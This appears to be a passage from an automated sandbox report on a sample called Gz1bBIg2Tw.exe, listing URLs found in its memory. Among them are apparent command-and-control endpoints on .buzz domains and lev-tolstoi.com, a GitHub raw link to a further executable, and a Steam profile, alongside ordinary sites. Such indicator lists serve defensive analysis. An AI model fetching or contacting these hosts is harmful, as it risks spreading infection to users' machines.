Source: Gz1bBIg2Tw.exe, Gz1bBIg2Tw.exe, 00000000.00000002.3954496167.0000000001D81000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952382662.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3955143473.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952569912.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D7E000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3948801893.0000000001E02000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3948762460.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3955612223.0000000003098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DLMKER/biden/raw/refs/heads/main/SamilinadiSoftware.exe
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3948762460.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3955612223.0000000003098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DLMKER/biden/raw/refs/heads/main/SamilinadiSoftware.exekD
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3948762460.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3955612223.0000000003098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DLMKER/biden/raw/refs/heads/main/SamilinadiSoftware.exeoN
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3954334482.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com:443/DLMKER/biden/raw/refs/heads/main/SamilinadiSoftware.exe7hffxt.default-release
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3954496167.0000000001D81000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952569912.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D7E000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D7E000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D7E000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3816016545.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hummskitnj.buzz/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hummskitnj.buzz:443/apiI
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3797449988.00000000030A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inherineau.buzz:443/api
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3816016545.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/0
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/7
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3850742248.0000000001E00000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3952382662.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3955143473.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3948801893.0000000001E02000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3850742248.0000000001E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiFile
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apik
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3954496167.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apim
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3954496167.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/d
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/s4
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3954334482.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3816128734.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3954334482.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apical
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apii6
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://prisonyfork.buzz:443/api
Source: Gz1bBIg2Tw.exe, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3954496167.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3954992969.0000000001DF3000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3948821042.0000000001DF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/
Source: Gz1bBIg2Tw.exe, Gz1bBIg2Tw.exe, 00000000.00000003.3948657357.00000000030AE000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3955168080.0000000001E0F000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3948780624.0000000001E09000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3954496167.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3955629532.00000000030AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/DLMKER/biden/refs/heads/main/SamilinadiSoftware.exe
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3954334482.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com:443/DLMKER/biden/refs/heads/main/SamilinadiSoftware.exe
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rebuildeso.buzz:443/api8
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scentniej.buzz:443/apih
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://screwamusresz.buzz:443/api
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3954334482.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3816128734.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/.
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704358734.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/c
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704358734.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704358734.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3954334482.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3816128734.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704358734.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704358734.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3796914009.000000000A4F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3796914009.000000000A4F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3797449988.00000000030A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3796732528.00000000030D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3796732528.00000000030D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3796914009.000000000A4F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3796914009.000000000A4F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
